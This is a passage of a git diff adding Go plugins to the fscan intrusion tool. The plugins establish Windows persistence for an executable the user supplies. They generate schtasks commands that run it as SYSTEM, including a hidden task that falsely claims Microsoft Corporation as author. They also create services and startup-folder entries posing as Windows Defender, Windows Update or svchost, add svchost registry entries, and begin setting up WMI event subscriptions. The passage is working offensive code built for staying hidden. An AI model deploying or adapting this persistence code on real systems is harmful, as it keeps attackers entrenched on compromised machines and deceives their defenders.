schedule: "ONLOGON",
|
||||
modifier: "",
|
||||
description: "System Security Scan on Logon",
|
||||
},
|
||||
{
|
||||
name: fmt.Sprintf("NetworkMonitor_%s", baseNameNoExt),
|
||||
schedule: "MINUTE",
|
||||
modifier: "30",
|
||||
description: "Network Monitor Every 30 Minutes",
|
||||
},
|
||||
{
|
||||
name: fmt.Sprintf("MaintenanceTask_%s", baseNameNoExt),
|
||||
schedule: "ONSTART",
|
||||
modifier: "",
|
||||
description: "System Maintenance Task on Startup",
|
||||
},
|
||||
{
|
||||
name: fmt.Sprintf("BackgroundService_%s", baseNameNoExt),
|
||||
schedule: "HOURLY",
|
||||
modifier: "2",
|
||||
description: "Background Service Every 2 Hours",
|
||||
},
|
||||
{
|
||||
name: fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt),
|
||||
schedule: "ONIDLE",
|
||||
modifier: "5",
|
||||
description: "Security Update When System Idle",
|
||||
},
|
||||
}
|
||||
|
||||
for _, task := range tasks {
|
||||
var schTaskCmd string
|
||||
|
||||
if task.modifier != "" {
|
||||
schTaskCmd = fmt.Sprintf(`schtasks /create /tn "%s" /tr "\"%s\"" /sc %s /mo %s /ru "SYSTEM" /f`,
|
||||
task.name, absPath, task.schedule, task.modifier)
|
||||
} else {
|
||||
schTaskCmd = fmt.Sprintf(`schtasks /create /tn "%s" /tr "\"%s\"" /sc %s /ru "SYSTEM" /f`,
|
||||
task.name, absPath, task.schedule)
|
||||
}
|
||||
|
||||
scheduledTasks = append(scheduledTasks, fmt.Sprintf("[%s] %s", task.description, schTaskCmd))
|
||||
}
|
||||
|
||||
xmlTemplate := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-16"?>
|
||||
<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||
<RegistrationInfo>
|
||||
<Date>2023-01-01T00:00:00</Date>
|
||||
<Author>Microsoft Corporation</Author>
|
||||
<Description>Windows System Service</Description>
|
||||
</RegistrationInfo>
|
||||
<Triggers>
|
||||
<LogonTrigger>
|
||||
<Enabled>true</Enabled>
|
||||
</LogonTrigger>
|
||||
<BootTrigger>
|
||||
<Enabled>true</Enabled>
|
||||
</BootTrigger>
|
||||
</Triggers>
|
||||
<Principals>
|
||||
<Principal id="Author">
|
||||
<UserId>S-1-5-18</UserId>
|
||||
<RunLevel>HighestAvailable</RunLevel>
|
||||
</Principal>
|
||||
</Principals>
|
||||
<Settings>
|
||||
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
|
||||
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
|
||||
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
|
||||
<AllowHardTerminate>false</AllowHardTerminate>
|
||||
<StartWhenAvailable>true</StartWhenAvailable>
|
||||
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
|
||||
<IdleSettings>
|
||||
<StopOnIdleEnd>false</StopOnIdleEnd>
|
||||
<RestartOnIdle>false</RestartOnIdle>
|
||||
</IdleSettings>
|
||||
<AllowStartOnDemand>true</AllowStartOnDemand>
|
||||
<Enabled>true</Enabled>
|
||||
<Hidden>true</Hidden>
|
||||
<RunOnlyIfIdle>false</RunOnlyIfIdle>
|
||||
<DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
|
||||
<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
|
||||
<WakeToRun>false</WakeToRun>
|
||||
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
|
||||
<Priority>7</Priority>
|
||||
</Settings>
|
||||
<Actions Context="Author">
|
||||
<Exec>
|
||||
<Command>%s</Command>
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>`, absPath)
|
||||
|
||||
xmlTaskName := fmt.Sprintf("WindowsSystemService_%s", baseNameNoExt)
|
||||
xmlPath := fmt.Sprintf(`%%TEMP%%\%s.xml`, xmlTaskName)
|
||||
|
||||
xmlCmd := fmt.Sprintf(`echo %s > "%s" && schtasks /create /xml "%s" /tn "%s" /f`,
|
||||
xmlTemplate, xmlPath, xmlPath, xmlTaskName)
|
||||
|
||||
scheduledTasks = append(scheduledTasks, fmt.Sprintf("[XML Task Import] %s", xmlCmd))
|
||||
|
||||
return scheduledTasks, nil
|
||||
}
|
||||
|
||||
// isValidPEFile 检查是否为有效的PE文件
|
||||
func (p *WinSchTaskPlugin) isValidPEFile(filePath string) bool {
|
||||
ext := strings.ToLower(filepath.Ext(filePath))
|
||||
return ext == ".exe" || ext == ".dll"
|
||||
}
|
||||
|
||||
// RegisterWinSchTaskPlugin 注册Windows计划任务持久化插件
|
||||
func RegisterWinSchTaskPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "winschtask",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Windows计划任务持久化插件,通过schtasks创建定时任务实现持久化",
|
||||
Category: "local",
|
||||
Tags: []string{"winschtask", "local", "persistence", "windows"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewWinSchTaskPlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("winschtask", factory)
|
||||
}
|
||||
|
||||
// init 插件注册函数
|
||||
func init() {
|
||||
RegisterWinSchTaskPlugin()
|
||||
}
|
231
Plugins/local/winservice/plugin.go
Normal file
231
Plugins/local/winservice/plugin.go
Normal file
@ -0,0 +1,231 @@
|
||||
package winservice
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// WinServicePlugin Windows服务持久化插件 - 使用简化架构
|
||||
type WinServicePlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
pePath string
|
||||
}
|
||||
|
||||
// NewWinServicePlugin 创建Windows服务持久化插件 - 简化版本
|
||||
func NewWinServicePlugin() *WinServicePlugin {
|
||||
// 从全局参数获取PE文件路径
|
||||
peFile := common.WinPEFile
|
||||
if peFile == "" {
|
||||
peFile = "" // 需要用户指定
|
||||
}
|
||||
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "winservice",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Windows服务持久化插件,通过创建系统服务实现持久化",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "persistence", "windows", "service"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
plugin := &WinServicePlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
pePath: peFile,
|
||||
}
|
||||
|
||||
// 只支持Windows平台
|
||||
plugin.SetPlatformSupport([]string{"windows"})
|
||||
// 需要管理员权限创建系统服务
|
||||
plugin.SetRequiresPrivileges(true)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *WinServicePlugin) Initialize() error {
|
||||
if p.pePath == "" {
|
||||
return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径")
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
|
||||
return fmt.Errorf("PE文件不存在: %s", p.pePath)
|
||||
}
|
||||
|
||||
// 检查文件类型
|
||||
if !p.isValidPEFile(p.pePath) {
|
||||
return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath)
|
||||
}
|
||||
|
||||
return p.BaseLocalPlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行Windows服务持久化 - 简化版本
|
||||
func (p *WinServicePlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogBase("开始Windows服务持久化...")
|
||||
|
||||
services, err := p.createServicePersistence(p.pePath)
|
||||
if err != nil {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: err,
|
||||
}, nil
|
||||
}
|
||||
|
||||
common.LogInfo(fmt.Sprintf("创建了%d个Windows服务持久化项:", len(services)))
|
||||
for i, service := range services {
|
||||
common.LogInfo(fmt.Sprintf("%d. %s", i+1, service))
|
||||
}
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "WinService",
|
||||
Banner: fmt.Sprintf("Windows服务持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS),
|
||||
Extra: map[string]interface{}{
|
||||
"pe_file": p.pePath,
|
||||
"persistence_type": "service",
|
||||
"services_created": len(services),
|
||||
"service_methods": services,
|
||||
},
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func (p *WinServicePlugin) createServicePersistence(pePath string) ([]string, error) {
|
||||
absPath, err := filepath.Abs(pePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get absolute path: %v", err)
|
||||
}
|
||||
|
||||
var services []string
|
||||
baseName := filepath.Base(absPath)
|
||||
baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
|
||||
|
||||
serviceConfigs := []struct {
|
||||
name string
|
||||
displayName string
|
||||
description string
|
||||
startType string
|
||||
}{
|
||||
{
|
||||
name: fmt.Sprintf("WinDefenderUpdate%s", baseNameNoExt),
|
||||
displayName: "Windows Defender Update Service",
|
||||
description: "Manages Windows Defender signature updates and system security",
|
||||
startType: "auto",
|
||||
},
|
||||
{
|
||||
name: fmt.Sprintf("SystemEventLog%s", baseNameNoExt),
|
||||
displayName: "System Event Log Service",
|
||||
description: "Manages system event logging and audit trail maintenance",
|
||||
startType: "auto",
|
||||
},
|
||||
{
|
||||
name: fmt.Sprintf("NetworkManager%s", baseNameNoExt),
|
||||
displayName: "Network Configuration Manager",
|
||||
description: "Handles network interface configuration and management",
|
||||
startType: "demand",
|
||||
},
|
||||
{
|
||||
name: fmt.Sprintf("WindowsUpdate%s", baseNameNoExt),
|
||||
displayName: "Windows Update Assistant",
|
||||
description: "Coordinates automatic Windows updates and patches",
|
||||
startType: "auto",
|
||||
},
|
||||
{
|
||||
name: fmt.Sprintf("SystemMaintenance%s", baseNameNoExt),
|
||||
displayName: "System Maintenance Service",
|
||||
description: "Performs routine system maintenance and optimization tasks",
|
||||
startType: "manual",
|
||||
},
|
||||
}
|
||||
|
||||
for _, config := range serviceConfigs {
|
||||
scCreateCmd := fmt.Sprintf(`sc create "%s" binPath= "\"%s\"" DisplayName= "%s" start= %s`,
|
||||
config.name, absPath, config.displayName, config.startType)
|
||||
|
||||
scConfigCmd := fmt.Sprintf(`sc description "%s" "%s"`, config.name, config.description)
|
||||
|
||||
scStartCmd := fmt.Sprintf(`sc start "%s"`, config.name)
|
||||
|
||||
services = append(services, fmt.Sprintf("[Create Service] %s", scCreateCmd))
|
||||
services = append(services, fmt.Sprintf("[Set Description] %s", scConfigCmd))
|
||||
services = append(services, fmt.Sprintf("[Start Service] %s", scStartCmd))
|
||||
}
|
||||
|
||||
serviceWrapperName := fmt.Sprintf("ServiceHost%s", baseNameNoExt)
|
||||
wrapperPath := fmt.Sprintf(`%%SystemRoot%%\System32\%s.exe`, serviceWrapperName)
|
||||
|
||||
copyWrapperCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, wrapperPath)
|
||||
services = append(services, fmt.Sprintf("[Copy to System32] %s", copyWrapperCmd))
|
||||
|
||||
scCreateWrapperCmd := fmt.Sprintf(`sc create "%s" binPath= "%s" DisplayName= "Service Host Process" start= auto type= own`,
|
||||
serviceWrapperName, wrapperPath)
|
||||
services = append(services, fmt.Sprintf("[Create System Service] %s", scCreateWrapperCmd))
|
||||
|
||||
regImagePathCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`,
|
||||
serviceWrapperName, wrapperPath)
|
||||
services = append(services, fmt.Sprintf("[Set Service DLL] %s", regImagePathCmd))
|
||||
|
||||
dllServiceName := fmt.Sprintf("SystemService%s", baseNameNoExt)
|
||||
if filepath.Ext(absPath) == ".dll" {
|
||||
svchostCmd := fmt.Sprintf(`sc create "%s" binPath= "%%SystemRoot%%\System32\svchost.exe -k netsvcs" DisplayName= "System Service Host" start= auto`,
|
||||
dllServiceName)
|
||||
services = append(services, fmt.Sprintf("[DLL Service via svchost] %s", svchostCmd))
|
||||
|
||||
regSvchostCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`,
|
||||
dllServiceName, absPath)
|
||||
services = append(services, fmt.Sprintf("[Set DLL Path] %s", regSvchostCmd))
|
||||
|
||||
regNetSvcsCmd := fmt.Sprintf(`reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvcs /t REG_MULTI_SZ /d "%s" /f`,
|
||||
dllServiceName)
|
||||
services = append(services, fmt.Sprintf("[Add to netsvcs] %s", regNetSvcsCmd))
|
||||
}
|
||||
|
||||
return services, nil
|
||||
}
|
||||
|
||||
// isValidPEFile 检查是否为有效的PE文件
|
||||
func (p *WinServicePlugin) isValidPEFile(filePath string) bool {
|
||||
ext := strings.ToLower(filepath.Ext(filePath))
|
||||
return ext == ".exe" || ext == ".dll"
|
||||
}
|
||||
|
||||
// RegisterWinServicePlugin 注册Windows服务持久化插件
|
||||
func RegisterWinServicePlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "winservice",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Windows服务持久化插件,通过创建系统服务实现持久化",
|
||||
Category: "local",
|
||||
Tags: []string{"winservice", "local", "persistence", "windows"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewWinServicePlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("winservice", factory)
|
||||
}
|
||||
|
||||
// init 插件注册函数
|
||||
func init() {
|
||||
RegisterWinServicePlugin()
|
||||
}
|
222
Plugins/local/winstartup/plugin.go
Normal file
222
Plugins/local/winstartup/plugin.go
Normal file
@ -0,0 +1,222 @@
|
||||
package winstartup
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// WinStartupPlugin Windows启动文件夹持久化插件 - 使用简化架构
|
||||
type WinStartupPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
pePath string
|
||||
}
|
||||
|
||||
// NewWinStartupPlugin 创建Windows启动文件夹持久化插件 - 简化版本
|
||||
func NewWinStartupPlugin() *WinStartupPlugin {
|
||||
// 从全局参数获取PE文件路径
|
||||
peFile := common.WinPEFile
|
||||
if peFile == "" {
|
||||
peFile = "" // 需要用户指定
|
||||
}
|
||||
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "winstartup",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Windows启动文件夹持久化插件,通过启动文件夹和快捷方式实现持久化",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "persistence", "windows", "startup"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
plugin := &WinStartupPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
pePath: peFile,
|
||||
}
|
||||
|
||||
// 只支持Windows平台
|
||||
plugin.SetPlatformSupport([]string{"windows"})
|
||||
// 不需要特殊权限
|
||||
plugin.SetRequiresPrivileges(false)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *WinStartupPlugin) Initialize() error {
|
||||
if p.pePath == "" {
|
||||
return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径")
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
|
||||
return fmt.Errorf("PE文件不存在: %s", p.pePath)
|
||||
}
|
||||
|
||||
// 检查文件类型
|
||||
if !p.isValidPEFile(p.pePath) {
|
||||
return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath)
|
||||
}
|
||||
|
||||
return p.BaseLocalPlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行Windows启动文件夹持久化 - 简化版本
|
||||
func (p *WinStartupPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogBase("开始Windows启动文件夹持久化...")
|
||||
|
||||
startupMethods, err := p.createStartupPersistence(p.pePath)
|
||||
if err != nil {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: err,
|
||||
}, nil
|
||||
}
|
||||
|
||||
common.LogInfo(fmt.Sprintf("创建了%d个启动文件夹持久化方法:", len(startupMethods)))
|
||||
for i, method := range startupMethods {
|
||||
common.LogInfo(fmt.Sprintf("%d. %s", i+1, method))
|
||||
}
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "WinStartup",
|
||||
Banner: fmt.Sprintf("Windows启动文件夹持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS),
|
||||
Extra: map[string]interface{}{
|
||||
"pe_file": p.pePath,
|
||||
"persistence_type": "startup",
|
||||
"methods_created": len(startupMethods),
|
||||
"startup_methods": startupMethods,
|
||||
},
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func (p *WinStartupPlugin) createStartupPersistence(pePath string) ([]string, error) {
|
||||
absPath, err := filepath.Abs(pePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get absolute path: %v", err)
|
||||
}
|
||||
|
||||
var startupMethods []string
|
||||
baseName := filepath.Base(absPath)
|
||||
baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
|
||||
|
||||
startupLocations := []struct {
|
||||
path string
|
||||
description string
|
||||
method string
|
||||
}{
|
||||
{
|
||||
path: `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`,
|
||||
description: "Current User Startup Folder",
|
||||
method: "shortcut",
|
||||
},
|
||||
{
|
||||
path: `%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup`,
|
||||
description: "All Users Startup Folder",
|
||||
method: "shortcut",
|
||||
},
|
||||
{
|
||||
path: `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`,
|
||||
description: "Current User Startup Folder (Direct Copy)",
|
||||
method: "copy",
|
||||
},
|
||||
{
|
||||
path: `%TEMP%\WindowsUpdate`,
|
||||
description: "Temp Directory with Startup Reference",
|
||||
method: "temp_copy",
|
||||
},
|
||||
}
|
||||
|
||||
for _, location := range startupLocations {
|
||||
switch location.method {
|
||||
case "shortcut":
|
||||
shortcutName := fmt.Sprintf("WindowsUpdate_%s.lnk", baseNameNoExt)
|
||||
shortcutPath := filepath.Join(location.path, shortcutName)
|
||||
|
||||
powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.Save()"`,
|
||||
shortcutPath, absPath)
|
||||
|
||||
startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, powershellCmd))
|
||||
|
||||
case "copy":
|
||||
targetName := fmt.Sprintf("SecurityUpdate_%s.exe", baseNameNoExt)
|
||||
targetPath := filepath.Join(location.path, targetName)
|
||||
copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath)
|
||||
|
||||
startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, copyCmd))
|
||||
|
||||
case "temp_copy":
|
||||
tempDir := filepath.Join(location.path)
|
||||
mkdirCmd := fmt.Sprintf(`mkdir "%s" 2>nul`, tempDir)
|
||||
targetName := fmt.Sprintf("svchost_%s.exe", baseNameNoExt)
|
||||
targetPath := filepath.Join(tempDir, targetName)
|
||||
copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath)
|
||||
|
||||
startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s && %s", location.description, mkdirCmd, copyCmd))
|
||||
|
||||
shortcutPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("SystemService_%s.lnk", baseNameNoExt))
|
||||
powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"`,
|
||||
shortcutPath, targetPath)
|
||||
|
||||
startupMethods = append(startupMethods, fmt.Sprintf("[Hidden Temp Reference] %s", powershellCmd))
|
||||
}
|
||||
}
|
||||
|
||||
batchScript := fmt.Sprintf(`@echo off
|
||||
cd /d "%%~dp0"
|
||||
start "" /b "%s"
|
||||
exit`, absPath)
|
||||
|
||||
batchPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("WindowsService_%s.bat", baseNameNoExt))
|
||||
batchCmd := fmt.Sprintf(`echo %s > "%s"`, batchScript, batchPath)
|
||||
startupMethods = append(startupMethods, fmt.Sprintf("[Batch Script Method] %s", batchCmd))
|
||||
|
||||
return startupMethods, nil
|
||||
}
|
||||
|
||||
// isValidPEFile 检查是否为有效的PE文件
|
||||
func (p *WinStartupPlugin) isValidPEFile(filePath string) bool {
|
||||
ext := strings.ToLower(filepath.Ext(filePath))
|
||||
return ext == ".exe" || ext == ".dll"
|
||||
}
|
||||
|
||||
// RegisterWinStartupPlugin 注册Windows启动文件夹持久化插件
|
||||
func RegisterWinStartupPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "winstartup",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Windows启动文件夹持久化插件,通过启动文件夹和快捷方式实现持久化",
|
||||
Category: "local",
|
||||
Tags: []string{"winstartup", "local", "persistence", "windows"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewWinStartupPlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("winstartup", factory)
|
||||
}
|
||||
|
||||
// init 插件注册函数
|
||||
func init() {
|
||||
RegisterWinStartupPlugin()
|
||||
}
|
255
Plugins/local/winwmi/plugin.go
Normal file
255
Plugins/local/winwmi/plugin.go
Normal file
@ -0,0 +1,255 @@
|
||||
package winwmi
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// WinWMIPlugin Windows WMI事件订阅持久化插件 - 使用简化架构
|
||||
type WinWMIPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
pePath string
|
||||
}
|
||||
|
||||
// NewWinWMIPlugin 创建Windows WMI事件订阅持久化插件 - 简化版本
|
||||
func NewWinWMIPlugin() *WinWMIPlugin {
|
||||
// 从全局参数获取PE文件路径
|
||||
peFile := common.WinPEFile
|
||||
if peFile == "" {
|
||||
peFile = "" // 需要用户指定
|
||||
}
|
||||
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "winwmi",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Windows WMI事件订阅持久化插件,通过WMI事件触发器实现持久化",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "persistence", "windows", "wmi"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
plugin := &WinWMIPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
pePath: peFile,
|
||||
}
|
||||
|
||||
// 只支持Windows平台
|
||||
plugin.SetPlatformSupport([]string{"windows"})
|
||||
// 需要管理员权限修改WMI订阅
|
||||
plugin.SetRequiresPrivileges(true)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *WinWMIPlugin) Initialize() error {
|
||||
if p.pePath == "" {
|
||||
return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径")
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
|
||||
return fmt.Errorf("PE文件不存在: %s", p.pePath)
|
||||
}
|
||||
|
||||
// 检查文件类型
|
||||
if !p.isValidPEFile(p.pePath) {
|
||||
return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath)
|
||||
}
|
||||
|
||||
return p.BaseLocalPlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行Windows WMI事件订阅持久化 - 简化版本
|
||||
func (p *WinWMIPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogBase("开始Windows WMI事件订阅持久化...")
|
||||
|
||||
wmiSubscriptions, err := p.createWMIEventSubscriptions(p.pePath)
|
||||
if err != nil {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: err,
|
||||
}, nil
|
||||
}
|
||||
|
||||
common.LogInfo(fmt.Sprintf("创建了%d个WMI事件订阅持久化项:", len(wmiSubscriptions)))
|
||||
for i, subscription := range wmiSubscriptions {
|
||||
common.LogInfo(fmt.Sprintf("%d. %s", i+1, subscription))
|
||||
}
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "WinWMI",
|
||||
Banner: fmt.Sprintf("Windows WMI事件订阅持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS),
|
||||
Extra: map[string]interface{}{
|
||||
"pe_file": p.pePath,
|
||||
"persistence_type": "wmi_event",
|
||||
"subscriptions_created": len(wmiSubscriptions),
|
||||
"wmi_subscriptions": wmiSubscriptions,
|
||||
},
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func (p *WinWMIPlugin) createWMIEventSubscriptions(pePath string) ([]string, error) {
|
||||
absPath, err := filepath.Abs(pePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get absolute path: %v", err)
|
||||
}
|
||||
|
||||
var wmiSubscriptions []string
|
||||
baseName := filepath.Base(absPath)
|
||||
baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
|
||||
|
||||
wmiEventConfigs := []struct {
|
||||
filterName string
|
||||
consumerName string
|
||||
bindingName string
|
||||
query string
|
||||
description string
|
||||
}{
|
||||
{
|
||||
filterName: fmt.Sprintf("SystemBootFilter_%s", baseNameNoExt),
|
||||
consumerName: fmt.Sprintf("SystemBootConsumer_%s", baseNameNoExt),
|
||||
bindingName: fmt.Sprintf("SystemBootBinding_%s", baseNameNoExt),
|
||||
query: "SELECT * FROM Win32_SystemConfigurationChangeEvent",
|
||||
description: "System Boot Event Trigger",
|
||||
},
|
||||
{
|
||||
filterName: fmt.Sprintf("ProcessStartFilter_%s", baseNameNoExt),
|
||||
consumerName: fmt.Sprintf("ProcessStartConsumer_%s", baseNameNoExt),
|
||||
bindingName: fmt.Sprintf("ProcessStartBinding_%s", baseNameNoExt),
|
||||
query: "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'",
|
||||
description: "Explorer Process Start Trigger",
|
||||
},
|
||||
{
|
||||
filterName: fmt.Sprintf("UserLogonFilter_%s", baseNameNoExt),
|
||||
consumerName: fmt.Sprintf("UserLogonConsumer_%s", baseNameNoExt),
|
||||
bindingName: fmt.Sprintf("UserLogonBinding_%s", baseNameNoExt),
|
||||
query: "SELECT * FROM Win32_LogonSessionEvent WHERE EventType=2",
|
||||
description: "User Logon Event Trigger",
|
||||
},
|
||||
{
|
||||
filterName: fmt.Sprintf("FileCreateFilter_%s", baseNameNoExt),
|
||||
consumerName: fmt.Sprintf("FileCreateConsumer_%s", baseNameNoExt),
|
||||
bindingName: fmt.Sprintf("FileCreateBinding_%s", baseNameNoExt),
|
||||
query: "SELECT * FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\Windows\\\\System32\\\\'",
|
||||
description: "File Creation Monitor Trigger",
|
||||
},
|
||||
{
|
||||
filterName: fmt.Sprintf("ServiceChangeFilter_%s", baseNameNoExt),
|
||||
consumerName: fmt.Sprintf("ServiceChangeConsumer_%s", baseNameNoExt),
|
||||
